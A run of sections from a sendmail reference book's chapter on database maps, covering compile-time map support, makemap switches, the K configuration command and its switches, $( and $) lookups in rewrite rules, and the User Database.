Here, the external file /etc/mail/uuhosts contains a list of UUCP hosts connected to the local machine. If the list rarely changes, the F command is appropriate. On the other hand, if the list is volatile and changes often, the F command has drawbacks. The file /etc/mail/uuhosts is read only when the configuration file is processed. Any change to that file is ignored by a running sendmail (such as the daemon). To make the change effective, the daemon needs to be killed and restarted. [1]

[1] If you're running an old sendmail version with a freeze file, that file also will need to be recreated.

In such volatile situations, storing UUCP information in a database is preferred. A change to a database is immediately available to the running daemon, eliminating the need to kill and restart.

V8 sendmail is designed to rewrite addresses on the basis of information looked up in external databases or in its internal symbol table. It can use a wide variety of database forms, ranging from ndbm(3) files (see Section 33.8.3, dbm) to Hesiod network maps (see Section 33.8.6, hesiod). The K configuration command (see Section 33.3, "The K Configuration Command") is used to declare the name, location, and other parameters of databases or to modify use of its symbol table. The $( and $) database operators (see Section 33.4, "Use Maps with $( and $) in Rules") are used in the RHS of rules to access and utilize that information.

33.1 Enable at Compile Time

Vendors that provide V8 sendmail in precompiled form may or may not provide access to all the types of databases that V8 sendmail supports. If your online documentation lacks this information, you can run strings(1) on sendmail to discover what it supports:

% strings /usr/lib/sendmail | grep map_open

ndbm_map_open(%s, %s, %d)
hash_map_open(%s, %s, %d)
nis_map_open(%s, %s)
text_map_open(%s, %s, %d)
text_map_open: file name required
text_map_open(%s): file name must be fully qualified
text_map_open(%s): can not stat %s
text_map_open(%s): %s is not a file
text_map_open(%s): -k should specify a number, not %s
text_map_open(%s): -v should specify a number, not %s
text_map_open(%s): delimiter = %c
stab_map_open(%s, %s)
impl_map_open(%s, %s, %d)
user_map_open(%s)
switch_map_open(%s, %s, %d)

In this implementation of sendmail, NDBM (the ndbm_map_open) and Berkeley DB (the hash_map_open) type database files are available. Sun style NIS maps (the nis_map_open) are also available. The others (text, stab, impl, user, and switch) are always automatically included. Note that hesiod and nisplus maps are not supported by this particular sendmail binary.

If you download and compile sendmail yourself, you may include any supported databases. Support is declared on the DBMDEF= line in the appropriate Makefile for your system. Possible definitions for DBMDEF= are shown in Table 33.1.

Table 33.1: DBMDEF Definitions in Makefile
Definition |  | Database Support Included
-DHESIOD | Section 33.8.6 | hesiod(3) aliases only
-DLDAPMAP | Section 33.8.9, ldapx | ldap(3) white pages
-DNDBM | Section 33.8.3 | ndbm(3) database files
-DNEWDB | Section 33.8.1, btree | Berkeley db(3) database files
-DNIS | Section 33.8.11, nis | Sun NIS network databases
-DNISPLUS | Section 33.8.12, nisplus | Sun NIS+ network databases
-DNETINFO | Section 33.8.10, netinfo | NeXT netinfo(3) aliases only

For example, the Makefile.ULTRIX file might include this line:

DBMDEF= -DNDBM -DNEWDB -DNIS

which includes support for ndbm(3), db(3), and nis(3) databases, [2] whereas the Makefile.SunOS.5.x file might include the following:

[2] If you declare support for both NDBM and NEWDB, be sure to remove ndbm.h and ndbm.o from the NEWDB distribution. Failure to remove them will confuse sendmail, causing it to fail in ugly ways.

DBMDEF= -DNDBM -DNIS -DNISPLUS

which excludes db(3) support but includes nisplus(3) support.

If you omit all database support (by undefining DBMDEF, for example, or not supplying support indications after the equal sign), sendmail will be unable to maintain its aliases in database format. Also, any attempt to rebuild the aliases database (with newalias or with -bi) will fail with the following error message:

Cannot rebuild aliases: no database format defined
Cannot create database for alias file /etc/aliases: No such device

Note that if you add new map types, you may have to also add libraries to the LIBS= line in your Makefile.

Previous: 32.5 Alphabetized Reference | sendmail | Next: 33.2 Create Files with makemap
32.5 Alphabetized Reference | Book Index | 33.2 Create Files with makemap


[Chapter 33] 33.2 Create Files with makemap

sendmailSearch this book
Previous: 33.1 Enable at Compile Time Chapter 33
Database Macros 		Next: 33.3 The K Configuration Command

33.2 Create Files with makemap

The makemap program is supplied in source form with V8 sendmail. It may be supplied in pre-compiled form by your vendor. It is used to create database files and is run from the command line like this:

% makemap switches class file

We'll discuss the switches in the next section. The class can be either dbm (which uses the ndbm(3) library routines), hash, or btree (both of which use the db(3) library routines). The file is the location and name (full path or relative name) for the database file to create. For dbm files, the .pag and .dir suffixes are added automatically. For the db files, the .db suffix will be added automatically if it is not already included in the name.

The makemap program reads from its standard input. That input is line oriented and contains the text from which the database files will be created. Lines that begin with a # are interpreted as comments and ignored. Lines that contain no characters - pty lines) are also ignored. Whitespace (spaces or tabs) separates the key on the left from the data on the right. An example of such an input file is the following:

lady     relaysite!lady
my.host  relaysite!lady
bug      bug.localuucp

The second line above shows that keys may be multitokened (my.host is three tokens). In reading from existing files, some conversion may be required to massage the input into a usable form. To make a database of the /etc/hosts file (for converting hostnames into IP addresses), for example, a command line like the following might be required:

% awk '/^[^#]/ {print $2, $1}' | makemap ...

Here, awk(1) needs to eliminate comment lines (the /^[^#]/). Otherwise, it will wrongly move them to the second column, where makemap will not recognize them as comments.

33.2.1 makemap Command-Line Switches

The command-line switches for makemap must precede the class and the file:

makemap switches class file

Switches are single characters, prefixed with a - character. Switches may also be combined:

-N -o        <-  good
-No          <-  also good

The complete list of switches is shown in Table 33.2. (See getopt(3) for additional information about the way switches are handled.)

Table 33.2: makemap Program's Switches
Switch |  | Description
-d | Section 33.2.1.1, "-d allow duplicate keys" | Allow duplicate keys
-f | Section 33.2.1.2, "-f don't fold uppercase to lowercase" | Don't fold uppercase to lowercase
-N | Section 33.2.1.3, "-N append a null byte to all keys" | Append a null byte to all keys
-o | Section 33.2.1.4, "-o append to, don't overwrite the file" | Append to, don't overwrite the file
-r | Section 33.2.1.5, "-r replace (silently) duplicate keys" | Replace (silently) duplicate keys
-v | Section 33.2.1.6, "-v watch keys and data being added" | Watch keys and data being added

33.2.1.1 -d allow duplicate keys

Ordinarily, makemap will complain if two entries have identical keys and refuse to insert the duplicate. But if it is desirable to allow the same key to appear multiple times in the database, you can use the -d switch to suppress those warnings and allow the duplicates to be inserted. But be aware that this switch is allowed only for the btree and hash forms of the db(3) library. Use of this switch with any other form of database will produce the following error:

makemap: Type class does not support -d (allow dups)

See the -r switch for a way to cause duplicates to replace originals.

33.2.1.2 -f don't fold uppercase to lowercase

Normally, the key is converted to lowercase before being stored in the database. When the key entries are case-sensitive, the -f switch may be used to prevent conversion to lowercase. When tokens in rule sets are later looked up in the database, you may choose (with the K command) to leave those tokens as is or convert them to lowercase before the comparison to keys. This switch and the K command should parallel each other.

33.2.1.3 -N append a null byte to all keys

The -N switch tells makemap to include a trailing zero byte with each key that it adds to the database. When V8 sendmail looks up a key in the database, it uses a binary comparison. Some databases, such as /etc/aliases under SunOS, append a zero byte to each key. When a trailing zero byte is included with a key, it must also be included with the tokens being looked up, or the lookup will fail. The use of this switch must match the K command (see Section 33.3.4.6, "-N append a null byte to all keys (V8.1 and above)").

33.2.1.4 -o append to, don't overwrite the file

The -o switch causes sendmail to append to a map, rather than overwrite it. Ordinarily, makemap overwrites any existing map with completely new information. The appended information must be all new information (no duplicate keys), unless the -r switch is also used.

33.2.1.5 -r replace (silently) duplicate keys

Ordinarily, it is an error to specify a key that already exists in a map. That is,

john   john@host1
john   john@host2

Here, the second john line produces an error instead of replacing the first with the second. To allow replacement keys, use the -r switch with makemap. Generally, the -r and -o switches should be combined in updating a database with new information.

33.2.1.6 -v watch keys and data being added

To watch your keys and data being added to a database, use the -v switch. This switch causes the following line of output to be produced for each key processed:

key=`key', val=`data'

Note that the trailing zero added by the -N switch is not displayed with the -v output. Also note that verbose output is printed to the standard output, whereas error messages are printed to the standard error output.

Previous: 33.1 Enable at Compile Time | sendmail | Next: 33.3 The K Configuration Command
33.1 Enable at Compile Time | Book Index | 33.3 The K Configuration Command


[Chapter 33] 33.3 The K Configuration Command

sendmailSearch this book
Previous: 33.2 Create Files with makemap Chapter 33
Database Macros 		Next: 33.4 Use Maps with $( and $) in Rules

33.3 The K Configuration Command

The K configuration command is used to associate a symbolic name with a database file. The symbolic name will later be used in the RHS of rules. The form of the K command looks like this:

Kname class args

The name is the symbolic name. The class is the kind of database to use (see Section 33.3.2, "The class"). The args specifies the location and properties of the database file (see Section 33.3.3, "The args"). We describe each in turn.

33.3.1 The name

The name portion of the K configuration command immediately follows the K. Whitespace between the K and the name is optional.

K name class args

 optional whitespace

The name must begin with a letter or digit and may contain only letters, digits, and the underscore character. For example:

K local_hosts        <-  good
K $andCents          <-  bad

If you begin a name with a bad character, the following error will be printed and that K line will be ignored:

configfile: line num: readcf: config K line: no map name

If a bad character appears in the middle of a name, the part preceding the bad character will be taken as the name, and the part following the bad character will be taken as the class. For example, the name me@home will produce this error:

configfile: line num: readcf: map me: class home not available

The case of the letters in name does not matter. All names are converted to lowercase before they are stored.

33.3.2 The class

Recall that the class portion of the K configuration command follows the name:

Kname class args

Note that whitespace between the name and the class may be a joined indented line, which allows commenting and improves readability:

Kname        # Why this name
        class     # Why this class
        args      # and so on

The class is the database type. It must be one of the classes listed in Table 33.3.

Table 33.3: Possible K Command Classes
Class |  | Version | Description
btree | Section 33.8.1 | V8.1 and above | Berkeley's db form of database
bestmx | Section 33.8.2, bestmx | V8.7 and above | Look up the best MX record for a host
dbm | Section 33.8.3 | V8.1 and above | Really ndbm supplied with most versions of UNIX
dequote | Section 33.8.4, dequote | V8.1 and above | A pseudo map for removing quotation marks
hash | Section 33.8.5, hash | V8.1 and above | Berkeley's db form of database
hesiod | Section 33.8.6 | V8.7 and above | MIT network user authentication services
host | Section 33.4.3, "$[ and $]: A Special Case" | V8.1 and above | Internal table to store and look up hostnames
implicit | Section 33.8.8, implicit | V8.1 and above | Search for an aliases database file
ldapx | Section 33.8.9 | V8.8 and above | The Lightweight Directory Access Protocol
netinfo | Section 33.8.10 | V8.7 and above | NeXT Computers network information services
nis | Section 33.8.11 | V8.1 and above | Sun's Network Information Services (NIS)
nisplus | Section 33.8.12 | V8.7 and above | Sun's newer Network Information Services (NIS+)
null | Section 33.8.13, null | V8.7 and above | Provide a never found service
program | Section 33.8.14, program | V8.7 and above | Run an external program to look up the key
sequence | Section 33.8.15, sequence | V8.7 and above | Search a series of maps
stab | Section 33.8.16, stab | V8.1 and above | Internally load aliases into the symbol table
switch | Section 33.8.17, switch | V8.7 and above | Internal hook to auto-build sequences
text | Section 33.8.18, text | V8.7 and above | Look up in flat text files
userdb | Section 33.8.19, userdb | V8.7 and above | Look up in the User Database
user | Section 33.8.20, user | V8.7 and above | Look up local passwd information

All of these classes are described in Section 33.8, "Alphabetized Reference" at the end of this chapter. If the class is not one of those listed, or if support for the class was not compiled in, the following error is printed and the K command is ignored:

configfile: line num: readcf: map mehome: class badclass not available

The case of the class is ignored by sendmail. That is, hash, Hash, and HASH are all the same.

33.3.3 The args

The args of the K configuration command follow symbolic name and class type:

Kname class args

The args specify (among other things) the location of the database file or the name of a network map. The args is like a miniature command line, and its general form looks like this:

switches file_or_map

The switches are letters prefixed with a - character that modify the use of the database. (We'll discuss them in the next section.) The file_or_map is the location of the database file or the name of a network map. The file_or_map should exclude the .pag and .dir suffixes for dbm class files and exclude the .db suffix for hash or btree class files.

A database or map is opened for reading when the configuration file is processed. If the file cannot be opened (and the -o is omitted; see Section 33.3.4.8, "-o the database file is optional (V8.1 and above)"), an appropriate error is printed. The file_or_map should be an absolute pathname of a file (such as /etc/uuhosts) or a literal network map name (such as hosts.byname). An nis map specification can include a domain:

map@domain

Relative filenames (names that omit a leading /) are interpreted as relative to the current directory of the process that invoked sendmail and should never be used.

33.3.4 The switches

The switches must follow the class and precede the file_or_map:

Kname class switches file_or_map

If any switches follow file_or_map, they are silently ignored. [3] All switches begin with a - character and are listed in Table 33.4.

[3] This is true as of version 8.8.4. Future versions may change the semantics of the K line such that switches may follow.

Table 33.4: K Command Switches
Switch |  | Version | Description
-A | Section 33.3.4.1, "-A append values for duplicate keys (V8.7 and above)" | V8.7 and above | Append values for duplicate keys
-a | Section 33.3.4.2, "-a append tag on successful match (V8.1 and above)" | V8.1 and above | Append tag on successful match
-f | Section 33.3.4.3, "-f don't fold keys to lowercase (V8.1 and above)" | V8.1 and above | Don't fold keys to lowercase
-k | Section 33.3.4.4, "-k specify column for key (V8.7 and above)" | V8.7 and above | Specify column for key
-m | Section 33.3.4.5, "-m suppress replacement on match (V8.1 and above)" | V8.1 and above | Suppress replacement on match
-N | Section 33.3.4.6 | V8.1 and above | Append a null byte to all keys
-O | Section 33.3.4.7, "-O adaptive versus never add a null (V8.2 and above)" | V8.2 and above | Adaptive versus never add a null
-o | Section 33.3.4.8 | V8.1 and above | The database file is optional
-q | Section 33.3.4.9, "-q don't strip quotes from key (V8.7 and above)" | V8.7 and above | Don't strip quotes from key
-s | Section 33.3.4.10, "-s space replacement character (V8.7 and above)" | V8.7 and above | Space replacement character
-v | Section 33.3.4.11, "-v specify the value's column (V8.7 and above)" | V8.7 and above | Specify the value's column
-z | Section 33.3.4.12, "-z specify the column delimiter (V8.7 and above)" | V8.7 and above | Specify the column delimiter

If a switch other than those listed is specified, that switch is silently ignored.

Not all switches work with all classes. Some classes use many switches; others use none. The switches that are used by each class are shown in Table 33.5.

Table 33.5: Which Class Uses Which Switches
Class | Switches
btree | -A -a -f -m -N -O -o -q
bestmx | -a -q
dbm | -A -a -f -m -N -O -o -q
dequote | -a -s
hash | -A -a -f -m -N -O -o -q
hesiod | -a -m -o -q
host | -a -m -q
implicit | -q
ldapx | -a -f -m -N -O -o -q
netinfo | -a -k -m -q -v
nisplus | -a -f -k -m -o -q -v -z
nis | -a -f -m -o -q
null |
program | -a -m -o -q
sequence |
stab | -q
switch | -q
text | -a -f -k -m -o -q -v -z
userdb | -a -f -m -q
user | -a -m -q -v

Some classes of databases use special switches that are not available to the broad class of databases. Others redefine the meaning of some switches. These special switches are shown in Table 33.6. Future versions of sendmail may be changed in such a way that it may be possible to have only one list.

Table 33.6: Specialty Class Switches
Switch | Class or Vendor | Description
-b | ldapx | Base from which to begin the search
-d | Sun | Use domain wide information (see Section 38.16, "K Command's -d switch")
-h | ldapx | Host that serves this network database
-l | ldapx | Time limit to timeout connection
-n | ldapx | Retrieve attribute names only, not values
-p | ldapx | Port to use when connecting to host
-R | ldapx | Don't auto chase referrals
-s | ldapx | Search scope of "base," "one," or "sub"

33.3.4.1 -A append values for duplicate keys (V8.7 and above)

Ordinarily, when sendmail builds (rebuilds) an aliases database, it objects to duplicate keys on the left of the colon:

staff:  bill
staff:  leopold          <-  this is an error

But sometimes, in automating for example, such duplicates are necessary. In such instances, the -A switch can be used with the AliasFile (A) option (see Section 34.8.1, AliasFile (A)) to cause duplicates to be silently appended:

staff:  bill
staff:  leopold
... silently modified by sendmail to internally become
staff:  bill, leopold

Note that this process is further illustrated in Section 24.4.4, "Duplicate Entries and Automation".

The -A database switch is useful only with alias files, because those are the only files that sendmail rebuilds on its own.

33.3.4.2 -a append tag on successful match (V8.1 and above)

When a key is looked up in a database (from inside the $( and $) operators of the RHS of rules), a successfully found key is replaced by its data. If the -a switch is given, the text following that switch, up to the first delimiting whitespace character, is appended to the replacement data. For example:

-a              appends  nothing
-a.             appends  .
-a,MAGICTOKEN   appends  ,MAGICTOKEN

The text to be appended is taken literally. Quotation marks and backslashed characters are included without interpretation, so whitespace cannot be included in that text. Because the rewritten RHS is normalized as an address, special address expressions (such as parentheses) should be avoided. The use of appended text is one of two methods used for recognizing a successful lookup in rules. We'll discuss the other, $:, in Section 33.4.1, "Specify a Default with $:".

33.3.4.3 -f don't fold keys to lowercase (V8.1 and above)

Ordinarily, sendmail will normalize a key to lowercase before looking it up in the database. If the keys in the database are case-sensitive ("TEX" is considered different from "tex," for example), the -f switch should be used to prevent this normalization. Note that if the -f switch is omitted (the default), the database must have been created with all lowercase keys (also the default).

33.3.4.4 -k specify column for key (V8.7 and above)

Beginning with V8.7, sendmail began to support a flat text-file form of database. The /etc/hosts file is an example of such a flat file, in that it is organized in a line-by-line manner:

123.45.67.89      here.our.domain

When such files are read as databases (with the text class; see Section 33.8.18), you need to specify which column is the key and which is the value.

For nisplus and netinfo maps, the -k switch specifies the name (text) of the desired column.

When the -k switch specifies which column is the key, its absence defaults to 0 for the text class and to the name of the zeroth column for the nisplus class. Note that the numbered columns are indexed beginning with 0 for the first and 1 for the second. See also -v (see Section 33.3.4.11) for the value's column (text and nisplus only) and -z (see Section 33.3.4.12) for the column delimiter (text only).

33.3.4.5 -m suppress replacement on match (V8.1 and above)

Ordinarily, a successful lookup in a database or map causes the key to be replaced by its value. When the intention is to merely verify that the key exists (not replace it), the -m switch can be used to suppress replacement. For example, the values that are returned from the hosts.byname NIS map are not generally useful (they contain multiple hostnames). In looking up a key in this map (with $( and $); see Section 33.4), the -m switch prevents those multiple names from wrongly replacing the single hostname in the key. Note that the -a (see Section 33.3.4.2) can still be used to append a suffix to a successful lookup. Also, the $:default (see Section 33.4.1) is still used if the lookup fails.

33.3.4.6 -N append a null byte to all keys (V8.1 and above)

If a database was created with makemap's -N switch (see Section 33.2.1.3) to include the terminating zero byte with each key, this K configuration command -N switch may be specified to force all lookups to also include a zero byte. Note that -N is not needed for the nis class and, if included, is ignored. See also -O below.

33.3.4.7 -O adaptive versus never add a null (V8.2 and above)

If neither -N nor -O is specified, sendmail uses an adaptive algorithm to decide whether or not to look for the terminating zero byte. The algorithm starts by accepting either. If the first key looked up is found to end with a terminating zero byte, the algorithm will thereafter look only for keys with terminating zero bytes. If the first key that is looked up is found to not end with a terminating zero byte, the algorithm will thereafter look only for keys without terminating zero bytes.

If this -O switch is specified, sendmail never tries a zero byte, which can speed matches. Note that if both -N and -O are specified, sendmail will never try to match at all, thus causing all lookups to appear to fail.

33.3.4.8 -o the database file is optional (V8.1 and above)

Ordinarily, sendmail will complain if a database file cannot be opened for reading. If the presence of a database file is optional (as it may be on certain machines), the -o switch should be used to tell sendmail that the database is optional. Note that if a database is optional and cannot be opened, all lookups will silently fail for rules that use that database.

33.3.4.9 -q don't strip quotes from key (V8.7 and above)

Ordinarily, sendmail strips all the nonescaped quotation marks (those not prefixed with a backslash) from a key before looking it up. For example, the following key:

"Bob \"bigboy\" Roberts \(esq\)"@bob.com

will have its nonescaped quotation marks removed to end up like this:

Bob "bigboy" Roberts (esq)@bob.com

Note that all escaped characters are de-escaped (have the backslash removed) during this process.

When quotation marks and escaped characters need to be preserved in a key before it is looked up, you can use the -q switch with the K configuration command. The -q switch suppresses dequoting and de-escaping.

33.3.4.10 -s space replacement character (V8.7 and above)

The dequote class (see Section 33.8.4) refuses to remove quotation marks if doing so will result in an illegal address. For example, internal space characters are illegal in addresses:

"a b"           becomes   ->       "a b"

The -s switch causes all the quoted space characters to be changed into a character that you specify just before the dequoting process.

Kdequote dequote -s+

Here, we specify that quoted strings will have quoted spaces converted into a plus before dequoting. Therefore, the above conversion becomes the following:

"a b"           becomes   ->       a+b

The -s switch is only of use with the dequote class. Note that the lpadx class uses the -s switch differently (see Table 33.6 in Section 33.3.4, "The switches").

33.3.4.11 -v specify the value's column (V8.7 and above)

The manner in which the key and its value are visually displayed in flat, sequential, text files and certain network services, may not be directly suitable for use in maps. A text class file, for example /etc/hosts, may display the key on the right and the value on the left:

123.45.67.89      here.our.domain

For such circumstances the -v switch can be used with the K command to specify the column or item that will be returned as the value when a key is matched. For example:

Kaddr text -k1 -v0 /etc/hosts

For nisplus and netinfo maps, the -v switch specifies the name (text) of the value's column.

This -v switch specifies which column is the value to return. If it is omitted, it defaults to 0 for the text class and to the last named column for the nisplus class. Note that text columns are indexed beginning with 0 for the first and 1 for the second. See also -k (see Section 33.3.4.4) for the key's column and -z (see Section 33.3.4.12) for the column delimiter.

33.3.4.12 -z specify the column delimiter (V8.7 and above)

Flat, sequential text files have columns of information delimited from each other with a variety of characters:

123.45.67.89      here.our.domain            <-  /etc/hosts uses a whitespace
nobody:*:65534:65534::/:                     <-  /etc/passwd uses a colon

The -z switch can be used to specify a delimiter whenever the default delimiter of whitespace is not appropriate. In the case of the /etc/passwd file, a database declaration might look like this:

Kuid text -z: -k2 -v0 /etc/passwd  # map to convert uid to login name

The default is whitespace for the text class. It is a comma for the netinfo class.

Previous: 33.2 Create Files with makemap | sendmail | Next: 33.4 Use Maps with $( and $) in Rules
33.2 Create Files with makemap | Book Index | 33.4 Use Maps with $( and $) in Rules


[Chapter 33] 33.4 Use Maps with $( and $) in Rules

sendmailSearch this book
Previous: 33.3 The K Configuration Command Chapter 33
Database Macros 		Next: 33.5 The User Database

33.4 Use Maps with $( and $) in Rules

The information in database files is accessed for use in the RHS of rules. This is the syntax:

$( name key $)

The key is looked up in the database whose symbolic name (as declared with the K configuration command) is name (see Section 33.3) If the key is found, the entire expression, including the $( and $), is replaced with the value from the database entry for that key. Any suffix, as specified with the -a switch (see Section 33.3.4.2) in the K configuration declaration for name, is appended to the data. If the key is not found, the entire expression is replaced with key. If the $) is omitted, all tokens up to but excluding the tab and comment, or end-of-line if there is no comment, are taken as the key. To illustrate one use for $( and $), see the following rule:

R$- . uucp      $: $( uucp $1.uucp $)

and the following K command:

Kuucp hash /etc/uucp.db

This associates the symbolic name uucp with a hash class file called /etc/uucp.db. If the uucp.db database contained entries like this:

lady.uucp    lady.localuucp
sonya.uucp   sonya.localuucp

then a workspace of lady.uucp would match the LHS, so the RHS would look up $1.uucp (thus lady.uucp) in the uucp.db database. Because lady.uucp is found, the entire $( to $) RHS expression is replaced with lady.localuucp from the database. Any UUCP hosts other than lady or sonya would not be found in the database, so the RHS expression would become the original workspace, unchanged.

Note that the entire RHS is prefixed with a $:. This prevents sendmail from re-testing with the LHS after the RHS rewrite. If this prefix were omitted, endless looping could occur.

Also note that the -a switch of the K command can be used to simplify the writing of this rule. For example:

Kuucp dbm -a.localuucp /etc/uuhosts

The -a switch tells sendmail to append the text .localuucp to all successful lookups. Thus the preceding database can be simplified to look like this:

lady.uucp    lady
sonya.uucp   sonya

But the preceding rule remains the same:

R$- . uucp      $: $( uucp $1.uucp $)

Beyond the simply macros and positional operators that we have shown, the key part can use other operators and forms of macros. For example, delayed expansion macros may be useful:

R$&s       $: $( uucp $&s $)

Here, the sender's host is looked up to see whether it is a UUCP host. The $& prefix (see Section 31.5.3, "Use Value as Is with $&") prevents the s macro from being expanded as the configuration file is read. Instead, its value will change with each piece of mail that is processed.

Additional examples of database lookups are given with the individual class descriptions at the end of this chapter.

33.4.1 Specify a Default with $:

V8 sendmail offers the $: operator as an alternative to the -a switch (or for use in conjunction with it). The $: operator, when it stands between the $( and $), specifies a default to use instead of the key, should a lookup fail:

R$- . uucp      $: $( uucp $1 $: $1.uucp $)

Here, the $- part of the LHS is looked up in the uucp database. If it is found, the $( to $) of the RHS expression is replaced by the data from that database. If it is not found, the $: causes the expression to be replaced with the $- LHS part and a .uucp suffix ($1.uucp).

This version of our rule further simplifies the contents of the database file. With this rule, the database file would contain information such as the following:

lady    lady
sonya   sonya

The -a is still used as before to append a .localuucp to each successful match.

Kuucp dbm -a.localuucp /etc/uuhosts

In the RHS expression the $: must follow the key or it loses its special meaning:

$( name key $: default $)

If the $:default wrongly precedes the key, it is used as the key, lookups fail, and replacements are not as expected. If the $: is present but the default is missing, a failed lookup returns an empty workspace.

33.4.2 Specify Numbered Substitution with $@

For more complex database substitutions, V8 sendmail offers the $@ operator for use in the RHS with the $( and $) expression. There may be multiple $@ prefixed texts between the key and the $: (if present) or the $).

$(name key $@text1 $@text2 $:default $)

Each $@text expression is numbered by position (from left to right):

$(name key $@text1 $@text2 $:default $)

              1        2

In this numbering scheme the key is always number 0, even if no $@'s are listed.

These numbers correspond to literal %digit expressions in the data portion of the database. For example:

lady   %0!%1@%2

When a lookup of the key in the RHS of the rule is successful, the returned value is examined for %digit expressions. Each such expression is replaced by its corresponding $@text from the rule. In the case of the above database, %0 would be replaced with lady (the key), %1 with text1, and %2 with text2.

To illustrate, consider the above database entry and the following rule:

R$- @ $-.uucp   $: $(uucp $2 $@$1 $@mailhost $:$1.$2.uucp $)

If the workspace contains the address joe@lady.uucp, the LHS matches. The RHS rewrites only once because it is prefixed with the $: operator. The expression between the $( and $) causes the second $- from the LHS (the $2, the key) to be looked up in the database whose symbolic name is uucp. Since $2 references lady from the workspace, lady is found and the data (%0!%1@%2) are used to rewrite. The %0 is replaced by lady (the key via $2). The text for the first $@ ($1 or joe) then replaces the %1. Then the second text for the second $@ (mailhost) replaces the %2. Thus the address joe@lady.uucp is rewritten to become lady!joe@mailhost.

If a different host, other than lady, appeared in the workspace, this RHS would use the $:default part. Thus the address joe@foo.uucp would become (via the $:$1.$2.uucp) joe@foo.uucp. That is, any address that is not found in the database would remain unchanged.

If there are more $@text expressions in the RHS than there are numbers in the value, the excess $@text parts are ignored. If a %digit in the data references a nonexistent $@text, it is simply removed during the rewrite.

All $@text expressions must lie between the key and the $:default (if present). If any follow the $:default, they become part of the default and cease to reference any %digits.

33.4.3 $[ and $]: A Special Case

The special database class called host can be declared to modify name-server lookups with $[ and $]. The special symbolic name and class pair, host and host, is declared for use with the $( and $) operators, like this:

Khost host -a.

The -a switch was discussed earlier in this chapter. Here, it is sufficient to note how it is used in resolving fully qualified domain names with the $[ and $] operators in the RHS of rules. Under V8 sendmail, $[ and $] are a special case of the following database lookup:

$(host foo $)

A successful match will ordinarily append a dot to a successfully resolved hostname.

When a host class is declared with the K command, any suffix of the -a replaces the dot as the character or characters added. [4] For example:

[4] This happens only for V2 and higher configuration files. Below that level, the dot is not appended unless it is specifically added by the -a of the K command.

$[ foo $]     found so rewritten as foo.domain.

Khost host -a
$[ foo $]     found so rewritten as foo.domain

Khost host -a.yes
$[ foo $]     found so rewritten as foo.domain.yes

The first line above shows the default action of the $[ and $] operators in the RHS of rules. If foo can be fully qualified, its fully qualified name becomes the rewritten value of the RHS and has a dot appended. The next two lines show the -a of host host with no suffix (note that with no suffix the -a is optional). In this configuration file, the fully qualified name has nothing (not even a dot) appended. The last two lines show a configuration file with a .yes as the suffix. This time, the fully qualified name has a .yes appended instead of the dot.

Previous: 33.3 The K Configuration Command | sendmail | Next: 33.5 The User Database
33.3 The K Configuration Command | Book Index | 33.5 The User Database


[Chapter 33] 33.5 The User Database

sendmailSearch this book
Previous: 33.4 Use Maps with $( and $) in Rules Chapter 33
Database Macros 		Next: 33.6 Database Maps and m4

33.5 The User Database

The User Database is a special database file that you create for use by sendmail. It causes sender and recipient addresses to be rewritten under control of an external database file. Ordinarily, any local address is first looked up in the aliases database. If it is not found there, that user's ~/.forward is next examined. If the User Database is enabled, the address is looked up in that database after aliasing and before forwarding.

Lookup can be local via a database file, remote via a User Database server, or via a Hesiod network service. Here, we describe the database file form. The others are described in Section 34.8.75, UserDatabaseSpec (U).

33.5.1 Enable the User Database

The User Database is automatically enabled when you compile sendmail if you include support for NEWDB or HESIOD (see Section 18.8.54, USERDB). To see whether a precompiled version of sendmail includes User Database support, run it with the -d0.1 switch:

% /usr/lib/sendmail -d0.1 -bt < /dev/null
Version 8.8.4
 Compiled with: LOG MIME8TO7 NETINET NETUNIX NEWDB SCANF USERDB XDEBUG

                                                              note

If USERDB is listed, User Database support is included.

Next you must declare the location of its database file with the UserDatabaseSpec (U) option (see Section 34.8.75):

OU/etc/userdb.db                             <-  in your cf file (V8)
O UserDatabaseSpec=/etc/userdb.db            <-  in your cf file (V8.7)
define(`confUSERDB_SPEC',/etc/userdb.db)     <-  in your m4 file

Here, the location of the database file is set to be /etc/userdb.db. You can also enable a default location for the database file that will take effect should the UserDatabaseSpec (U) option be missing by defining that location with UDB_DEFAULT_SPEC in compiling (see Section 18.8.53, UDB-DEFAULT-SPEC).

33.5.2 Create the User Database

The User Database is a btree class (see Section 33.8.1) database file created from a source text file using the makemap program:

% makemap btree /etc/userdb.db < /etc/userdb

Here, /etc/userdb is the source-text file that is input, and /etc/userdb.db is the database we are creating (the one defined by the U option in the previous section). [5]

[5] The .db is added automatically if it is missing. We include it here for clarity.

The source-text file is composed of key and value pairs, one pair per line:

key    value

  whitespace

The key is a user's login name, a colon, and one of two possible keywords: maildrop or mailname. The keyword that is chosen determines the nature of the value. maildrop The value is the official delivery address for this user. If there are multiple official addresses, they should either be listed as a single compound value, with separating commas, as, for example:

root:maildrop         sysadmin@here.us.edu,bill@there.us.edu

or be listed on individual lines:

root:maildrop         sysadmin@here.us.edu
root:maildrop         bill@there.us.edu

This latter form requires you to use the -d command-line switch with the makemap(1) program (see Section 33.2.1.1) when creating the database but has the advantage of being a simpler source file to manage. mailname The mailname keyword causes a "reverse alias" transformation, wherein the login name in the key is changed into the address in the value for outgoing mail. For example:

bob:mailname          Bob.Roberts@Here.US.EDU

This causes mail sent by bob to go out addressed as though it is from Bob.Roberts@Here.US.EDU. [6] This transformation occurs in the header and envelope. But note that the sender-envelope is not rewritten by UDB unless the F=i flag (see Section 30.8.24, F=i) is present in the delivery agent that is selected for the sender. Also note that the recipient headers are not rewritten by UDB unless the F=k flag (see Section 30.8.26, F=j) delivery agent is selected for the recipient.

[6] Using full names in outgoing mail is probably not a good idea. Unlike login names, full names are not guaranteed to be unique. If current users expect to be able to receive mail under full names, future users with the same full name may be out of luck. Always weigh convenience against maintainable uniqueness when designing your mail setup.

Naturally, the maildrop and mailname keywords should occur in pairs. Each outgoing address that is created with mailname should have a corresponding maildrop entry so that return mail can be delivered. In the above example a reasonable pair might look like this:

bob:mailname          Bob.Roberts@Here.US.EDU
Bob.Roberts:maildrop  bob

Here, outgoing mail from the user named bob will be addressed as though it is from Bob.Roberts@Here.US.EDU. Incoming mail (whether it is original or in reply to the outgoing) will be addressed as though it is to the name Bob.Roberts, which will be transformed into and delivered to the local user bob.

33.5.3 A :default Outgoing Hostname

The mailname keyword allows the host part of outgoing addresses to mask the real hostname of the originating machine. This property can, for example, be used to convert the hostname into a firewall name:

bob:mailname          bob@Firewall.US.EDU

Here, the canonical name of bob's machine is Here.US.EDU. The mailname keyword causes outgoing mail from bob to appear as though it is from the firewall machine (Firewall.US.EDU) instead.

